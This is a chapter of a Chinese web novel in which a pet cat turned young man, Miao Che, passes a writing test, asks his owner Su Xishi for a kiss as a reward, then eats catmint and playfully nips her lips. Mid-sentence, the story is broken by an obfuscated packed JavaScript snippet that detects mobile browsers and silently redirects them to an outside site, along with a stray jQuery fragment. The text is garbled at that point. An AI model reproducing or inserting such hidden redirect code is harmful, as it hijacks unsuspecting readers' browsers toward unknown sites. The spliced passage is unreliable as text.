“苗澈。”
苏惜时站在临时布置的学习角前,敲了敲黑板上的字。
沙发上的苗澈正用尾巴卷着遥控器玩,闻言耳朵轻轻抖了抖,迅速松开尾巴,端正坐好,眨巴着大眼睛望向苏惜时,全然透露着清澈的愚蠢。
看见他这样,苏惜时扶额,“今天我们要检测你学习的成果,还记得吗?”
“记得!”他挺起胸膛,声音洪亮,“我都会!”
“那我们现在开始。”
“喵!”苗澈的尾巴摇成螺旋桨,掩饰不住他心中的兴奋,“开始开始!”
一轮测试下来竟出乎意料的顺利。
看见他写的字,还谈不上好看,笔画歪歪扭扭,但每个字都没缺胳膊少腿。
“最后一个字”,苏惜时看了眼黑板。
苗澈握着笔,眉头微微皱起,琥珀金色的眼睛专注地盯着纸面。
阳光从窗外洒进来,落在他长长的睫毛上,投下一小片阴影。
他写的很慢,一笔一划都透着认真。
最后一笔落下时,他抬起头,眼睛里闪烁着光芒,“写完了!”。
苏惜时接过本子,一一对照。
全对。
苗澈的头高高扬起,拿着鼻孔望向苏惜时,身后的尾巴也高高竖起,就差把骄傲写在脸上了,像是已经知道了结果。
“怎么样怎么样?”苗澈已经迫不及待的凑过来,毛茸茸的脑袋几乎要拱进她怀里。
看他这样的表现,苏惜时不免觉得有些好笑,“嗯,全对,真棒!”
“喵呜——!我就知道!”
他直接从椅子上蹦起来,在客厅里转了个圈,又兴奋地蹦到苏惜时面前。
“姐姐,你看我全对了,我这么厉害,就没什么奖励吗?”
看着他这副‘快夸我快夸我’的模样,终于忍不住笑出了声:“是是是,你最厉害。”
“那今晚奖励你吃大餐?”苏惜时揉了揉他蓬松柔软的头发。
苗澈满足的眯起眼,在她手心蹭了蹭,但蹭着蹭着像是想起了什么,动作突然停了下来。
“也不是不可以,姐姐,你是不是还忘了什么?”
苗澈的猫眼瞬间瞪圆了,期待的看着苏惜时,希望她能想起些什么。
“什么?”
见她一直作沉思状,依旧没想起。
“以前我干什么,学会了什么你都会亲亲我的,还有——”
他顿了顿,尾巴不安地扫了扫地面。
“自从我变成人,你都很久没亲过我了。”
“虽然我也不是很想你亲我,但这是我的奖励,我当然要我的奖励。”
客厅里突然安静下来。
窗外的蝉鸣变得格外清晰,一声接着一声,像是在催促着什么。
苏惜时忽然想起很久以前的事。
那时候苗澈还没有断奶,巴掌大小蜷缩在她的手心瑟瑟发抖,她把他捡回家,一点一点喂大。他每学会一件事,她都会高兴地亲亲他。
后来这成了习惯,每当他学会了什么新把戏,总会来到她面前展示,想让她亲亲他,夸夸他。
“这……”
那时是主人对宠物的亲昵,可现在……
“苗澈,你现在是人了。”苏惜时轻轻叹了一口气。
“人怎么了?”苗澈不理解,“电视机里的那些人不也是亲来亲去的吗?为什么我们就不可以?”
“那不一样。”苏惜时试图解释,“那时伴侣之间才能做得事,我们不是。”
“伴侣,又是伴侣。”苗澈打断了她,眼圈泛红,“你说过我们是一家人,可我们为什么身为家人什么都不能干?”
苏惜时张了张嘴,忽然语塞。
她看着他委屈的模样,心里某个地方软了一下,但最终还是理智占了上风。
“家人可以拥抱、牵手,但亲亲……这不一样”
她试探让他能够理解,“就像我之前说的脱衣服一样,有些事要分情况。”
苗澈不说话了。
他只是默默地转过身,背对苏惜时,在沙发上蜷成一团——那是他当猫时生闷气的标准姿势。
“苗澈。”
不理。
“晚上给你做你最喜欢吃的鱼哦。”
尾巴尖动了一下,但还是不理。
苏惜时无奈,走到沙发前蹲下,“真生气了?”
苗澈把脸埋进抱枕里,闷闷的声音传出来,“没有。”
“真没有?”
“……没有”
苏惜时看他这口是心非的模样,忍不住笑了。
她伸手戳了戳他的腰。
那是他当猫时的痒痒肉。
“喵!”苗澈猛地站起来,瞪着她,“你偷袭!”
“谁让你不理我”
“好了,不生气了。虽然我们不能亲亲,但我们可以换一种方式——比如,抱一抱?”
苗澈眼睛一亮,但又很快板起了脸,扭过头,“我才不想抱。”
“真不想?”
“……想”声音小的像蚊子嗡嗡。
苏惜时张开双臂,“来。”。
苏惜时的嘴角勾起一抹浅笑,宠溺的看着苗澈。
苗澈犹豫了一秒,转身,扑来,一气呵成,像以前做猫那样,将头深深地埋入苏惜时怀里,嗅着她身上的清香。
“唔——”苏惜时被他撞得一个踉跄,好一会才缓过来。
好重!
以前抱猫,轻轻松松,现在抱人,两模两样。
而苗澈显然没意识到这点,手臂环着她的腰,尾巴欢快的缠上她的手腕,像以前一样蹭啊蹭。
苗澈的大半个身子挂在苏惜时身上,她的青筋暴起,十分艰难的将怀中的肥猫抱住,承受着生命不可承之中,却也甘之如饴。
这可是自己亲手一点点养大的小猫,他全然依赖自己,全然信任自己,谁又会忍不住不满足他这一小小的愿望。
他陪伴自己度过了那段父母都不曾知晓的、刻骨铭心的时光。
可即便如此,还是忍不住发问,“苗澈,你……能不能自己站一点?”
“不要。”苗澈在她的颈窝里摇头,头发蹭的她痒痒的,“以前你都是这样抱我。”
“以前你才十多斤!”
“现在也……”,他顿了顿,只敢小声嘟囔,“也没重多少。”
苏惜时翻了个白眼。
根本就是多了个零,好吧!
但看见怀中少年依恋的模样,苏惜时却不忍说出口,也忽然不想推开他了。
她调整了一下姿势,让两个人更舒服一些,然后轻轻拍了他的背,“好了,今天的拥抱奖励就完成了,快下来,我们还要继续学习。”
苗澈这才依依不舍的松开手,他站直了身子,脸上还带着未退的红晕,但眼睛亮亮的,像是盛满了星星。
他转身往学习角走去走到一半又回头,小声说,“姐姐,当人一点也不好。”
“为什么?”
“这也不行,那也不行。”他嘟囔着,“……规矩好多”
苏惜时失笑,“那你想变回猫吗?”
苗澈认真的想了想,摇头,“不想”
“因为……”他看着她,宝石般的眼睛在阳光下生辉,“因为我想能陪陪姐姐说话,想回应姐姐,也想在那段时间安慰姐姐。”
说完,他快步走到书桌前坐下,拿起笔,假装自己很忙碌的样子,但通红的耳朵早已出卖了他。
苏惜时愣在原地,只觉得心口像是被塞满了什么,暖暖的。
苗澈一天的学习结束了,他像只巡视领地的主人在屋里转了一圈,最后晃悠到阳台上。
夏日的晚风吹散了炎热,带来了凉爽,微风轻拂起他额前的碎发,望向远方的山脉,心间泛起点点涟漪。
一股好闻的味道慢慢飘至鼻尖。
很淡、很特别,像薄荷,又带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144531|196377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点说不出的甜香,还混着一丝……让他心跳加速、沉溺的熟悉感。
苗澈的耳尖瞬间竖起。
他循着味道找去,最后停在阳台角落——那是苏惜时养的薄荷。
当时苗澈当猫的时候对这毫无兴趣,对没有自制力、对猫薄荷上头的小猫嗤之以鼻,可现在——
今时不同往日。
他蹲下,仔细观察了一下。
叶片翠绿,边缘泛着一层不易察觉的光晕,但却对他有着致命的吸引力,苗澈没想到自己也变成了没有自制力的小猫了。
他伸手碰了碰叶子,咽了咽口水。
好香。
香的他想咬一口。
最后本能战胜了理智,他摘了一小片叶子,小心翼翼的放入嘴中。
嚼了嚼,一股清凉直冲脑门,紧接着,世界开始旋转。
风声、车流声,所有的声音好像都被拉长了,变慢了,像是隔着一层水雾,朦胧的看不清,视线也开始模糊,感觉自己仿佛变得轻飘飘,马上能立地成仙。
苗澈晃了晃脑袋,想让自己清醒点,结果更晕了。
他扶着墙,摇摇晃晃的向屋里走去
“姐姐……”声音软的像是棉花糖,黏糊糊,甜腻腻的。
苏惜时正在做晚餐,听见声音,吓了一跳,连忙关火,去查看情况。
他整个人像是没骨头似的靠过来,橘色的猫尾巴不知何时缠上了她的腰肢,尾巴尖顺利的游进衣服,一下下轻扫着她腰侧的肌肤,弄得人痒痒的。
“我好热……”他声音低哑,带着某种不自知的诱惑,修长的手指无意识的扯开领口,灯光在他白皙的胸膛上跳跃。
滚烫的呼吸吹动着苏惜时颈间的皮肤,泛起点点鸡皮疙瘩。
她彻底僵在了原地,只能一点一点缓慢地转过头。
“姐姐……”鼻尖与鼻尖相对,交换着彼此的呼吸,“你好香。”
苏惜时:?
“比鱼还香。”苗澈认真补充,双手捧着苏惜时的脸颊,眼神迷离,“能不能让我咬一口……”
苏惜时被他这一套举动弄得痒痒的,也无心欣赏男色,只想推开他,可他却越黏越紧。
她忽然想起了什么,看向阳台,“你碰那盆猫薄荷了?”
“嗯……”苗澈含糊的应着,蹭着脖子的动作却一刻也没停歇。“就吃了一口……”
苏惜时扶额。
都变成人了,猫薄荷竟然也有效?
看这模样,不仅有效,效果还很强。
“苗澈,清醒点。”她拍了拍他的脸。
“不要,姐姐身上好凉快”蹭的反而更用力了。
然后,苗澈做出一个让她大脑空白的动作。
他凑过来,很轻、很快地,在她唇上咬了一口。
像羽毛轻拂,不留一丝痕迹。
苏惜时僵了,不知该说些什么。
“果真是甜的。”苗澈却笑了,眼睛弯成月牙,琥珀金的眼眸里洋溢着光芒。
“你——”
“姐姐比猫薄荷还甜。”他认真的说,然后又凑过来,这次蹭了蹭她的脸颊。
苏惜时这次终于回过神,一把推开他:“苗澈,你——”
话还没说完,苗澈就软绵绵的倒在沙发上,整个人瘫在那。
他闭着眼睛,尾巴在地板上拍打着节拍,透露着偷到鱼后的开心,很快就睡着了。
呼吸均匀,脸颊还带着红晕。
苏惜时站在原地,看着沙发上睡得香甜的少年,伸手碰了碰自己的嘴唇。
自己的初吻就这么没了。
还是明天再做一次大餐吧。
许久,她轻轻叹了一口气,还是给少年盖了一个毯子。
弯腰,俯下身来,很轻的,亲了亲他的额头。
像以前一样。
“晚安,喵喵。”
黑暗中,苗澈的睫毛颤了颤,他翻了个身,嘴角悄悄扬起。